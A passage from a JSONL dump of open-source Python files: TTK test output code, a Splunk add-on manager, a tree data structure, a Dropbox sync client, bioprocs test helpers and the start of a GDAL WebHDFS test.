tTKPointDataSelector3.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKPointDataSelector3_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKPointDataSelector3, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKPointDataSelector3.vtu',\n\t\tCleantoGrid(OutputPort(tTKPointDataSelector3)))\n\n\ntTKPersistenceDiagram2.DebugLevel = int(debugLevel)\nif tTKPersistenceDiagram2.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKPersistenceDiagram2.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKPersistenceDiagram2_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKPersistenceDiagram2, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKPersistenceDiagram2.vtu',\n\t\tCleantoGrid(OutputPort(tTKPersistenceDiagram2)))\n\n\ntTKPointDataSelector1.DebugLevel = int(debugLevel)\nif tTKPointDataSelector1.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKPointDataSelector1.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKPointDataSelector1_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKPointDataSelector1, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKPointDataSelector1.vtu',\n\t\tCleantoGrid(OutputPort(tTKPointDataSelector1)))\n\n\ntTKPersistenceDiagram1.DebugLevel = int(debugLevel)\nif tTKPersistenceDiagram1.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKPersistenceDiagram1.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKPersistenceDiagram1_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKPersistenceDiagram1, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKPersistenceDiagram1.vtu',\n\t\tCleantoGrid(OutputPort(tTKPersistenceDiagram1)))\n\n\ntTKSphereFromPoint1.DebugLevel = int(debugLevel)\nif tTKSphereFromPoint1.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKSphereFromPoint1.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKSphereFromPoint1_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKSphereFromPoint1, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKSphereFromPoint1.vtu',\n\t\tCleantoGrid(OutputPort(tTKSphereFromPoint1)))\n\n\ntTKSphereFromPoint2.DebugLevel = int(debugLevel)\nif tTKSphereFromPoint2.GetNumberOfOutputPorts() != 1:\n\tfor i in range(0, tTKSphereFromPoint2.GetNumberOfOutputPorts()):\n\t\tSaveData(outputDirectory + 'tTKSphereFromPoint2_' + str(i) + '.vtu',\n\t\t\tCleantoGrid(OutputPort(tTKSphereFromPoint2, i)))\nelse:\n\tSaveData(outputDirectory + 'tTKSphereFromPoint2.vtu',\n\t\tCleantoGrid(OutputPort(tTKSphereFromPoint2)))\n","sub_path":"tests/referenceScripts/timeTracking/pythonScript.py","file_name":"pythonScript.py","file_ext":"py","file_size_in_byte":14476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"620427685","text":"\"\"\"\nData Loader main entry point\n\"\"\"\n\n\nimport Queue\nimport sys\nimport os.path as op\nimport traceback\nimport logging\n\nsys.path.append(op.join(op.dirname(op.abspath(__file__)), \"framework\"))\n\nimport action_tokens as at\nimport utils\n\n_LOGGER = logging.getLogger(\"ta_manager\")\n\n\nclass TAManager(object):\n \"\"\"\n TA Manager boots all underlying facilities\n \"\"\"\n\n def __init__(self, meta_configs, stanza_configs):\n \"\"\"\n @meta_configs: a dict like object, implement dict.get/[] like\n interfaces to get the value for a key. meta_configs shall at least\n contain\n {\"server_uri\": uri, \"checkpoint_dir\": dir, \"session_key\": key}\n key/value pairs\n @stanza_configs: a list like object containing a list of dict\n like object. Each element shall implement dict.get/[] like interfaces\n to get the value for a key. Each element in the list shall at least\n contain\n \"\"\"\n\n import timer_queue as tq\n import ta_configure_manager as conf_mgr\n import servers\n import ta_conf_client as tcc\n\n self.meta_configs = meta_configs\n appname = utils.get_appname_from_path(op.abspath(__file__))\n meta_configs[\"appname\"] = appname\n self.wakeup_queue = Queue.Queue()\n self.conf_manager = conf_mgr.TAConfigureManager(meta_configs)\n self.timer_queue = tq.TimerQueue()\n self.pub_server = servers.PubServer(stanza_configs)\n self.rep_server = servers.RepServer(stanza_configs,\n self._handle_request)\n self.conf_client = tcc.TAConfClient(stanza_configs[\"repserver\"],\n meta_configs[\"server_uri\"],\n meta_configs[\"session_key\"])\n self._state_logger = utils.setup_logging(\"ta_state\")\n self._started = False\n\n def run(self):\n if self._started:\n return\n self._started = True\n\n self.timer_queue.start()\n self.rep_server.start()\n self.conf_client.start()\n\n wakeup_q = self.wakeup_queue\n while 1:\n try:\n go_exit = wakeup_q.get(timeout=30)\n except Queue.Empty:\n pass\n else:\n if go_exit:\n break\n\n self.conf_client.tear_down()\n self.rep_server.tear_down()\n self.timer_queue.tear_down()\n _LOGGER.info(\"TA manager is going to exit...\")\n\n def tear_down(self):\n self.wakeup_queue.put(True)\n\n def _handle_request(self, data):\n handlers = {\n at.APP_REGISTER_INFO_UPDATE: self._handle_registration_update,\n at.APP_REGISTER_INFO_GET: self._handle_registration_get,\n at.APP_STATE_UPDATE: self._handle_state_update,\n at.APP_STATE_GET: self._handle_state_get,\n at.APP_CKPT_UPDATE: self._handle_ckpt_update,\n at.APP_CKPT_GET: self._handle_ckpt_get,\n at.APP_TASK_CONFIG_UPDATE: self._handle_task_config_update,\n at.APP_TASK_CONFIG_DELETE: self._handle_task_config_delete,\n at.APP_TASK_CONFIG_GET: self._handle_task_config_get,\n }\n\n _LOGGER.info(\"Request=%s\", data[\"action\"])\n if data[\"action\"] not in handlers:\n _LOGGER.info(\"Ignore request=%s\", data)\n return None\n\n try:\n return handlers[data[\"action\"]](data)\n except Exception:\n _LOGGER.error(\"Failed to handle %s, reason=%s\", data,\n traceback.format_exc())\n return None\n\n def _handle_registration_update(self, data):\n self.conf_manager.handle_registration_update(data)\n return {}\n\n def _handle_registration_get(self, data):\n res = self.conf_manager.handle_registration_get(data)\n if res is not None:\n res = {\"appinfo\": res}\n return res\n\n def _handle_state_update(self, data):\n self._log_states(data)\n self.conf_manager.handle_state_update(data)\n return {}\n\n def _handle_state_get(self, data):\n if data[\"appname\"] == \"*\":\n res = self.conf_manager.handle_all_app_states_get()\n if res:\n res = {\"state\": res}\n return res\n else:\n return self.conf_manager.handle_state_get(data)\n\n def _handle_ckpt_update(self, data):\n self.conf_manager.handle_ckpt_update(data)\n return {}\n\n def _handle_ckpt_get(self, data):\n return self.conf_manager.handle_ckpt_get(data)\n\n def _handle_task_config_update(self, data):\n topic = \"{0}/{1}/{2}\".format(data[\"ip\"], data[\"appname\"],\n data[\"progname\"])\n data[\"topic\"] = topic\n try:\n self.pub_server.publish((data,))\n except Exception:\n _LOGGER.info(\"Failed to publish topic=%s\", topic)\n return None\n else:\n self.conf_manager.handle_task_config_update(data)\n return {}\n\n def _handle_task_config_delete(self, data):\n self.conf_manager.handle_task_config_delete(data)\n return {}\n\n def _handle_task_config_get(self, data):\n assert data[\"appname\"] == \"*\"\n\n res = self.conf_manager.handle_task_config_get(data)\n if res is not None:\n res = {\"task_config\": res}\n return res\n\n def _log_states(self, states):\n keys = (\"action\", \"state\")\n log = \",\".join((\"{0}={1}\".format(key, value)\n for key, value in states.iteritems()\n if key not in keys))\n\n state = \",\".join((\"{0}={1}\".format(key, value)\n for key, value in states[\"state\"].iteritems()))\n self._state_logger.info(\"%s,%s\", log, state)\n\n def add_timer(self, callback, when, interval):\n return self.timer_queue.add_timer(callback, when, interval)\n\n def remove_timer(self, timer):\n self.timer_queue.remove_timer(timer)\n\n\nclass GlobalTAManager(object):\n \"\"\" Singleton, inited when started\"\"\"\n\n __instance = None\n\n @staticmethod\n def get_ta_manager(meta_configs, stanza_configs, job_factory):\n if GlobalTAManager.__instance is None:\n GlobalTAManager.__instance = TAManager(meta_configs,\n stanza_configs)\n return GlobalTAManager.__instance\n\n @staticmethod\n def reset():\n GlobalTAManager.__instance = None\n","sub_path":"SplunkApps/Splunk_TA_manager/bin/ta_manager.py","file_name":"ta_manager.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"332644280","text":"'''\npyTree\n\nCreated on Aug 21, 2012\n\n@author: yoyzhou\n'''\nimport collections\n\n(S,T) = range(2)\n\n \nclass Tree(object):\n '''\n A Python implementation of Tree data structure \n '''\n \n \n def __init__(self, data = None, children = None):\n '''\n @param data: content of this node\n @param children: sub node(s) of Tree, could be None, child (single) or children (multiple)\n '''\n self.data = data\n self.__children = []\n self.__parent=None #private parent attribute\n \n if children: #construct a Tree with child or children\n if isinstance(children, Tree):\n self.__children.append(children)\n children.__parent = self \n \n elif isinstance(children, collections.Iterable):\n for child in children:\n if isinstance(child, Tree):\n self.__children.append(child)\n child.__parent = self\n else:\n raise TypeError('Child of Tree should be a Tree type.') \n else:\n raise TypeError('Child of Tree should be a Tree type')\n \n \n def __setattr__(self, name, value):\n \n \n \"\"\"\n Hide the __parent and __children attribute from using dot assignment.\n To add __children, please use addChild or addChildren method; And\n node's parent isn't assignable\n \"\"\"\n \n if name in ('parent', '__parent', 'children'):\n raise AttributeError(\"To add children, please use addChild or addChildren method.\")\n else:\n super().__setattr__(name, value)\n \n def __str__(self, *args, **kwargs):\n \n return self.data.__str__(*args, **kwargs)\n\n def addChild(self, child):\n \"\"\"\n Add one single child node to current node\n \"\"\"\n if isinstance(child, Tree):\n self.__children.append(child)\n child.__parent = self\n else:\n raise TypeError('Child of Tree should be a Tree type')\n \n def addChildren(self, children):\n \"\"\"\n Add multiple child nodes to current node\n \"\"\"\n if isinstance(children, list):\n for child in children:\n if isinstance(child, Tree):\n self.__children.append(child)\n child.__parent = self\n else:\n raise TypeError('Child of Tree should be a Tree type.') \n \n \n def getParent(self):\n \"\"\"\n Get node's parent node.\n \"\"\"\n return self.__parent\n \n def getChild(self, index):\n \"\"\" \n Get node's No. index child node.\n @param index: Which child node to get in children list, starts with 0 to number of children - 1\n @return: A Tree node presenting the number index child\n @raise IndexError: if the index is out of range \n \"\"\"\n try:\n return self.__children[index]\n except IndexError:\n raise IndexError(\"Index starts with 0 to number of children - 1\")\n \n def getChildren(self):\n \"\"\"\n Get node's all child nodes.\n \"\"\"\n return self.__children\n \n \n \n def getNode(self, content):\n \"\"\"\n \n Get the first matching item(including self) whose data is equal to content. \n Method uses data == content to determine whether a node's data equals to content, note if your node's data is \n self defined class, overriding object's __eq__ might be required.\n Implement Tree travel (level first) algorithm using queue\n\n @param content: node's content to be searched \n @return: Return node which contains the same data as parameter content, return None if no such node\n \"\"\"\n nodesQ = [self]\n \n while nodesQ:\n child = nodesQ[0]\n if child.data == content:\n return child\n else:\n nodesQ.extend(child.getChildren())\n del nodesQ[0]\n \n def delChild(self, index):\n \"\"\" \n Delete node's No. index child node.\n @param index: Which child node to delete in children list, starts with 0 to number of children - 1\n @raise IndexError: if the index is out of range \n \"\"\"\n try:\n del self.__children[index]\n except IndexError:\n raise IndexError(\"Index starts with 0 to number of children - 1\")\n \n def delNode(self, content):\n \n \"\"\"\n \n Delete the first matching item(including self) whose data is equal to content. \n Method uses data == content to determine whether a node's data equals to content, note if your node's data is \n self defined class, overriding object's __eq__ might be required.\n Implement Tree travel (level first) algorithm using queue\n\n @param content: node's content to be searched \n \"\"\"\n \n nodesQ = [self]\n \n while nodesQ:\n child = nodesQ[0]\n if child.data == content:\n if child.isRoot():\n del self\n return\n else:\n parent = child.getParent()\n parent.delChild(parent.getChildren().index(child))\n return\n else:\n nodesQ.extend(child.getChildren())\n del nodesQ[0]\n \n def getRoot(self):\n \"\"\"\n Get root of the current node.\n \"\"\"\n if self.isRoot():\n return self\n else:\n return self.getParent().getRoot()\n \n \n def isRoot(self):\n \"\"\"\n Determine whether node is a root node or not.\n \"\"\"\n if self.__parent is None:\n return True\n else:\n return False\n \n def isBranch(self):\n \"\"\"\n Determine whether node is a branch node or not.\n \"\"\"\n if self.__children == []:\n return True\n else:\n return False\n \n def printTree(self, _MODE = S):\n \"\"\"\"\n Print tree structure with nested-list style (the default, with _MODE S) or hierarchy style, with _MODE T.\n For example:\n [0] nested-list style\n [Root[C01[C11[C111,C112]],C02,C03[C31]]]\n [1] hierarchy style\n Root\n |___ C01\n | |___ C11\n | |___ C111\n | |___ C112\n |___ C02\n |___ C03\n | |___ C31\n @param _MODE: Print style, S for Simple nested-list style; T for hierarchical Tree style\n @todo: A more elegant way to achieve this function using Stack structure, [hint: push and pop nodes with additional level info]. \n \"\"\"\n raw = '['\n \n nodesQ = [self]\n index = 0;\n \n while nodesQ:\n c_raw = '['\n child = nodesQ[0]\n if child.isRoot():\n raw += str(child.data)\n nodesQ.extend(child.getChildren())\n index = len(raw) \n else:\n if raw.find(str(child)) != -1: #already in raw\n nodesQ.extend(child.getChildren())\n del nodesQ[0]\n continue\n else:\n parent = child.getParent()\n index = raw.find(str(parent)) + len(str(parent))\n nodesQ.extend(child.getChildren())\n c_raw += str(child.data) + '['\n \n if child.getChildren() == []: \n c_raw = c_raw[ : -1] + ']' \n else:\n c_raw += ','.join([str(c) for c in child.getChildren()]) + ']]'\n \n raw = raw[ : index] + c_raw + raw[index: ]\n del nodesQ[0]\n \n #*************Print a Simple list representing the Tree structure************# \n if _MODE == S:\n print(raw)\n \n #************* Print a REAL Tree structure with parameter T ************# \n elif _MODE == T:\n cur = 0\n pointer = 1\n level = 0\n \n while pointer != len(raw):\n cur_char = raw[pointer] \n if cur_char == '[':\n label = raw[cur + 1 : pointer]\n self.__printLabel__(label, level)\n cur = pointer\n level +=1\n elif cur_char == ']':\n label = raw[cur + 1 : pointer]\n self.__printLabel__(label, level)\n cur = pointer\n level -= 1\n elif cur_char == ',':\n label = raw[cur + 1 : pointer]\n self.__printLabel__(label, level)\n cur = pointer\n else:\n pass\n pointer += 1\n \n #************* Unknown print MODE ************# \n else:\n raise ValueError(\"Print MODE should be 'S' to print a list representing Tree structure or 'T' to print a REAL Tree\") \n \n def __printLabel__(self, label, level):\n \"\"\"\n Print each node\n \"\"\"\n if level == 0:\n print(label)\n else:\n if level == 1:\n leadingSpaces = ''\n addl = ''\n else:\n leadingSpaces = ' ' * 5 * (level - 1)\n addl = '|'\n \n if label.strip() != '': \n print('{0}{1}{2}{3} {4}'.format('|', leadingSpaces, addl, '_' * 3, label))\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n","sub_path":"src/Tree.py","file_name":"Tree.py","file_ext":"py","file_size_in_byte":10272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"528260746","text":"import requests\nimport os\nimport re\nimport json\n\n\nclass dropbox:\n\n def __init__(self, args):\n longname = args.cloud + \":\" + args.username\n self.access_token = self.check_username(longname)\n self.args = args\n self.result = []\n\n def check_username(self, logname):\n with open(\"usertokenlist.txt\", \"r\") as f:\n for line in f:\n if re.search(logname+\":\", line) is not None:\n return line.split(':')[2]\n return None\n\n def dir(self):\n self.result = [\"Dir\"]\n if self.args.cloud == 'dropbox':\n if self.access_token is None:\n self.result.append(False)\n return\n self.contain_dropbox(0, \"\")\n if len(self.result) != 2:\n self.result.append(True)\n return self.result\n\n def contain_dropbox(self, indentation, path):\n try:\n d = json.dumps({\n \"path\": path,\n \"recursive\": False, \"include_media_info\": False,\n \"include_deleted\": False,\n \"include_has_explicit_shared_members\": False,\n \"include_mounted_folders\": True,\n \"include_non_downloadable_files\": True})\n files = requests.post(\n 'https://api.dropboxapi.com/2/files/list_folder',\n headers={\"Authorization\": \"Bearer \" + self.access_token,\n \"Content-Type\": \"application/json\"},\n data=d).json()\n for f in files['entries']:\n if f['.tag'] == 'folder':\n self.result.append(\" \"*indentation+'FOLDER: '+ f['name'])\n self.contain_dropbox(indentation + 4, path + \"/\" + f['name'])\n else:\n self.result.append(\" \" * indentation + f['name'])\n except:\n self.result.append(False)\n return self.result\n\n def download(self):\n self.result = [\"Download\"]\n if self.access_token is None:\n self.result.append(False)\n else:\n self.load(self.args.file_names, self.args.path)\n self.result.append(True)\n return self.result\n\n def load(self, file_names, path):\n for f in file_names:\n if os.path.isdir(path):\n files_in_directory = os.listdir(path)\n else:\n self.result.append([\n f, False, \"Сбой. Неправильо указан путь для загрузки\"])\n continue\n if f in files_in_directory:\n answer = input(\n \"\\n\" + f +\n ''' - Этот файл уже заходится в этой директории,\n хотите перезаписать его?[Y/N]''')\n if answer in ['y', 'Y']:\n if os.path.isdir(path + \"/\" + f):\n shutil.rmtree(path + \"/\" + f)\n else:\n os.remove(path + \"/\" + f)\n else:\n self.result.append([f, False, \"Загрузка отменена\"])\n continue\n if '.' not in f:\n files = []\n d = json.dumps({\"path\": \"/\" + f + \"/\",\n \"recursive\": False, \"include_media_info\": False,\n \"include_deleted\": False,\n \"include_has_explicit_shared_members\": False,\n \"include_mounted_folders\": True,\n \"include_non_downloadable_files\": True})\n fls = requests.post(\n 'https://api.dropboxapi.com/2/files/list_folder',\n headers={\"Authorization\": \"Bearer \" + self.access_token,\n \"Content-Type\": \"application/json\"},\n data=d).json()\n if 'error' in fls.keys():\n self.result.append([\n f, False,\n \"Сбой. Неправильный путь к файлу или его имя\"])\n continue\n for e in fls['entries']:\n files.append(f+ \"/\" + e['name'])\n os.mkdir(path+\"/\"+f)\n self.result.append([f, False, \"Folder\"])\n self.load(files, path)\n continue\n r = requests.get(\n 'https://content.dropboxapi.com/2/files/download',\n headers={\"Authorization\": \"Bearer \" + self.access_token,\n \"Dropbox-API-Arg\": \"{\\\"path\\\": \\\"/\" + f + \"\\\"}\"})\n if \"error\" in r.text:\n self.result.append([\n f, False, \"Сбой. Неправильный путь к файлу или его имя\"])\n continue\n try:\n with open(path + '/' + f, \"wb\") as code:\n code.write(r.content)\n self.result.append([f, True])\n except Exception:\n self.result.append([\n f, False, \"Сбой. Неправильо указан путь для загрузки\"])\n\n def upload(self):\n self.result = [\"Upload\"]\n if self.access_token is None:\n self.result.append(False)\n else:\n self.uload(self.args.path, self.args.file_names)\n self.result.append(True)\n return self.result\n \n def uload(self, path, file_paths):\n for p in file_paths:\n if p.rfind('\\\\') < p.rfind('/'):\n i = p.rfind('/')\n else:\n i = p.rfind('\\\\')\n if os.path.isdir(p):\n files = os.listdir(p)\n for j in range(len(files)):\n files[j] = p+\"\\\\\"+files[j]\n self.uload(\"/\"+p[i+1:]+\"/\", files)\n continue\n if not os.path.isfile(p):\n self.result.append([p, \"Файла или Дирректории не существует\", False])\n continue\n name = p[i+1:]\n fg = False\n flag = False\n if path in ['/', '\\\\']:\n path = \"\"\n new_args = self.args\n d = dropbox(self.args).contain_dropbox(0, path)\n if d[-1]:\n for dr in d:\n if name == dr:\n answer = input(p + ' - уже был загружен на облако. Хотите загрузить его повторно[Y/N]')\n if answer in ['y', 'Y']:\n answer = input('Перезапистать его - Y, Создать копию - N: ')\n flag = answer not in ['y', 'Y']\n else:\n self.result.append([p, \"Отмена\", False])\n fg = True\n break\n if fg:\n continue\n try:\n d = json.dumps({\"path\": \"/\"+path[1:]+name, \"mode\": \"add\",\n \"autorename\": True, \"mute\": False, \"strict_conflict\": flag})\n fls = requests.post(\n 'https://content.dropboxapi.com/2/files/upload',\n headers={\"Authorization\": \"Bearer \" + self.access_token,\n \"Dropbox-API-Arg\": d,\n \"Content-Type\": \"application/octet-stream\"},\n data=p)\n self.result.append([p, True])\n except:\n self.result.append([p, False, \"Ошибка при загрузке\"])\n","sub_path":"dropbox.py","file_name":"dropbox.py","file_ext":"py","file_size_in_byte":7595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"92555665","text":"import re\nimport urllib2\nimport testly\nimport yaml\nfrom os import path\nfrom bioprocs.utils import shell\nfrom bioprocs.utils.tsvio2 import TsvReader\nfrom tempfile import gettempdir\n\nshbioprocs = shell.Shell(subcmd = True, dash = '-', equal = ' ', duplistkey = False).bioprocs\n\nPROCDATADIR = path.join(path.dirname(path.abspath(__file__)), 'procdata')\nDATAFILE = path.join(PROCDATADIR, 'data.yml')\nTMPDIR = gettempdir()\nCACHED = {}\n\ndef runBioprocs(proc, args):\n\targs['config._log.shortpath:py'] = 'False'\n\treturn shbioprocs[proc](**args).run(save = 'same', uselogger = False)\n\ndef download(url, savedir = TMPDIR):\n\tbname = path.basename(url)\n\tdestfile = path.join(savedir, bname)\n\tfiledata = urllib2.open(url)\n\twith open(destfile, 'wb') as f:\n\t\tf.write(filtdata.read())\n\treturn destfile\n\ndef getlocal(bname, key, datadir = PROCDATADIR):\n\td1, d2 = key.split('.')\n\treturn path.join(datadir, d1, d2, bname)\n\ndef getioval(value, proc = None):\n\tif isinstance(value, list):\n\t\treturn [getioval(v, proc) for v in value]\n\tif not value.startswith('plain:') and not value.startswith('http') and \\\n\tnot value.startswith('ftp') and not value.startswith('file:'):\n\t\tvalue = 'file:' + value\n\tif value in CACHED:\n\t\treturn CACHED[value]\n\telif value.startswith('plain:'):\n\t\treturn value[7:]\n\telif value.startswith('http') or value.startswith('ftp'):\n\t\tCACHED[value] = download(v)\n\t\treturn CACHED[value]\n\telif value.startswith('file:'):\n\t\treturn getlocal(value[5:], proc)\n\treturn value\n\ndef getData(datafile = DATAFILE):\n\twith open(datafile) as stream:\n\t\tdata = yaml.load(stream)\n\n\tfor key, value in data.items():\n\t\tkparts = key.split('.')\n\t\ttag = kparts[-1] if len(kparts) > 2 else 'default'\n\t\tproc = '.'.join(kparts[:2])\n\t\targs = {'tag': tag}\n\t\texptfiles = {}\n\t\topt1 = {}\n\t\topt2 = {}\n\t\tfor k, v in value.items():\n\t\t\tret = args\n\t\t\tif k[:2] in ['i.', 'o.']:\n\t\t\t\tv = getioval(v, proc)\n\t\t\t\tif k[:2] == 'o.':\n\t\t\t\t\tk = k[2:]\n\t\t\t\t\texptfiles[k] = v\n\t\t\t\telif isinstance(v, list):\n\t\t\t\t\targs[k + ':list:one'] = v\n\t\t\t\telse:\n\t\t\t\t\targs[k] = v\n\t\t\telif k.startswith('opt'):\n\t\t\t\tret = opt1 if k.startswith('opt1.') else opt2\n\t\t\t\tret[k[5:]] = v\n\t\t\telse:\n\t\t\t\tret[k] = v\n\t\tyield testly.Data(proc = proc, args = args, exptfiles = exptfiles, opt1 = opt1, opt2 = opt2)\n\ndef getOutput(c):\n\tret = {}\n\tfor line in c.stderr.splitlines():\n\t\t#[2019-02-06 09:49:48 OUTPUT] pAR: [1/1] outdir => /local2/tmp/m161047/bioprocs.workdir/PyPPL.pAR.notag.6duu519e/1/output/motif_hits-protein_expression_t-gene_expression.AR\n\t\tm = re.match(r'^\\[\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2} OUTPUT\\] \\w+: \\[\\d+\\/\\d+\\] (\\w+) \\s*=> (.+)$', line)\n\t\tif not m: continue\n\t\tret[m.group(1)] = m.group(2)\n\treturn ret\n\n\ndef istext(filename):\n\timport string \n\twith open(filename) as f:\n\t\ts = f.read(512)\n\ttext_characters = \"\".join(map(chr, range(32, 127)) + list(\"\\n\\r\\t\\b\"))\n\t_null_trans = string.maketrans(\"\", \"\")\n\tif not s:\n\t\t# Empty files are considered text\n\t\treturn True\n\tif \"\\0\" in s:\n\t\t# Files with null bytes are likely binary\n\t\treturn False\n\t# Get the non-text characters (maps a character to itself then\n\t# use the 'remove' option to get rid of the text characters.)\n\tt = s.translate(_null_trans, text_characters)\n\t# If more than 30% non-text characters, then\n\t# this is considered a binary file\n\tif float(len(t))/float(len(s)) > 0.30:\n\t\treturn False\n\treturn True\n\n\n# unittest asserts\ndef assertOrderedStrsInArray(self, strs, array, msg = None):\n\tif not self.maxDiff is None:\n\t\tself.maxDiff = max(self.maxDiff or 5000, 5000)\n\t\n\tself.assertIsInstance(strs, list, 'First argument is not a list.')\n\tself.assertIsInstance(array, list, 'Second argument is not a list.')\n\n\tfor s in strs:\n\t\twhile array:\n\t\t\ta = array.pop(0)\n\t\t\tif s in a:\n\t\t\t\tarray.append(None)\n\t\t\t\tbreak\n\t\t\tcontinue\n\t\tif array: # found\n\t\t\tcontinue\n\t\tstandardMsg = '%s not in %s' % (testly.util.safe_repr(s, True), testly.util.safe_repr(array, True))\n\t\tself.fail(self._formatMessage(msg, standardMsg))\n\ndef assertFileEqual(self, first, second, filetype = None, firstInopts = None, secondInopts = None, msg = None):\n\tif not self.maxDiff is None:\n\t\tself.maxDiff = max(self.maxDiff or 5000, 5000)\n\n\tfiletype1 = filetype or ('text' if istext(first) else 'nontext')\n\tfiletype2 = filetype or ('text' if istext(second) else 'nontext')\n\tif filetype1 != filetype2:\n\t\tstandardMsg = 'Files different, because file1 is {0} but file2 is {1}'.format(\n\t\t\tfiletype1, filetype2\n\t\t)\n\t\tself.fail(self._formatMessage(msg, standardMsg))\n\telif filetype1 == 'text':# and filetype2 == 'text':\n\t\treader1 = TsvReader(first, **firstInopts) if firstInopts else TsvReader(first)\n\t\treader2 = TsvReader(second, **secondInopts) if secondInopts else TsvReader(second)\n\t\trindex = 0\n\t\tfor r1 in reader1:\n\t\t\trindex += 1\n\t\t\ttry:\n\t\t\t\tr2 = next(reader2)\n\t\t\texcept StopIteration:\n\t\t\t\tstandardMsg = 'File1 and file2 are different.\\nFile1: {2}\\nFile2: {3}\\nRow {0} of file1 is: {1}, but nothing at row {0} of file2.'.format(rindex, r1, first, second)\n\t\t\t\tself.fail(self._formatMessage(msg, standardMsg))\n\t\t\tif r1 != r2:\n\t\t\t\tstandardMsg = 'File1 and file2 are different.\\nFile1: {3}\\nFile2: {4}\\nRow {0} of file1: {1}\\nRow {0} of file2: {2}'.format(rindex, r1, r2, first, second)\n\t\t\t\tself.fail(self._formatMessage(msg, standardMsg))\n\telse: # filetype1 == 'nontext' and filetype2 == 'nonetext': # binary\n\t\timport filecmp\n\t\tif not filecmp.cmp(first, second, shallow = False):\n\t\t\tstandardMsg = 'Binary files are different:\\n{}\\n{}'.format(first, second)\n\t\t\tself.fail(self._formatMessage(msg, standardMsg))\n\ntestly.TestCase.assertOrderedStrsInArray = assertOrderedStrsInArray\ntestly.TestCase.assertFileEqual = assertFileEqual","sub_path":"tests/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":5619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"1206299","text":"#!/usr/bin/env python\n###############################################################################\n# $Id$\n#\n# Project: GDAL/OGR Test Suite\n# Purpose: Test /vsiwebhdfs\n# Author: Even Rouault \n#\n###############################################################################\n# Copyright (c) 2018 Even Rouault \n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n###############################################################################\n\nimport stat\nimport sys\nfrom osgeo import gdal\n\nsys.path.append('../pymod')\n\nimport gdaltest\nimport webserver\n\n\ndef open_for_read(uri):\n \"\"\"\n Opens a test file for reading.\n \"\"\"\n return gdal.VSIFOpenExL(uri, 'rb', 1)\n\n###############################################################################\n\n\ndef vsiwebhdfs_init():\n\n gdaltest.webhdfs_vars = {}\n for var in ('WEBHDFS_USERNAME', 'WEBHDFS_DELEGATION'):\n gdaltest.webhdfs_vars[var] = gdal.GetConfigOption(var)\n if gdaltest.webhdfs_vars[var] is not None:\n gdal.SetConfigOption(var, \"\")\n\n return 'success'\n\n###############################################################################\n\n\ndef vsiwebhdfs_start_webserver():\n\n gdaltest.webserver_process = None\n gdaltest.webserver_port = 0\n\n if not gdaltest.built_against_curl():\n return 'skip'\n\n (gdaltest.webserver_process, gdaltest.webserver_port) = webserver.launch(\n handler=webserver.DispatcherHttpHandler)\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdaltest.webhdfs_base_connection = '/vsiwebhdfs/http://localhost:' + \\\n str(gdaltest.webserver_port) + '/webhdfs/v1'\n gdaltest.webhdfs_redirected_url = 'http://non_existing_host:' + \\\n str(gdaltest.webserver_port) + '/redirected'\n\n return 'success'\n\n###############################################################################\n# Test VSIFOpenL()\n\n\ndef vsiwebhdfs_open():\n\n if gdaltest.webserver_port == 0:\n return 'skip'\n\n gdal.VSICurlClearCache()\n\n # Download without redirect (not nominal)\n handler = webserver.SequentialHandler()\n handler.add('GET', '/webhdfs/v1/foo/bar?op=OPEN&offset=9999990784&length=16384', 200,\n {}, '0123456789data')\n with webserver.install_http_handler(handler):\n f = open_for_read(gdaltest.webhdfs_base_connection + '/foo/bar')\n if f is None:\n gdaltest.post_reason('fail')\n return 'fail'\n gdal.VSIFSeekL(f, 9999990784 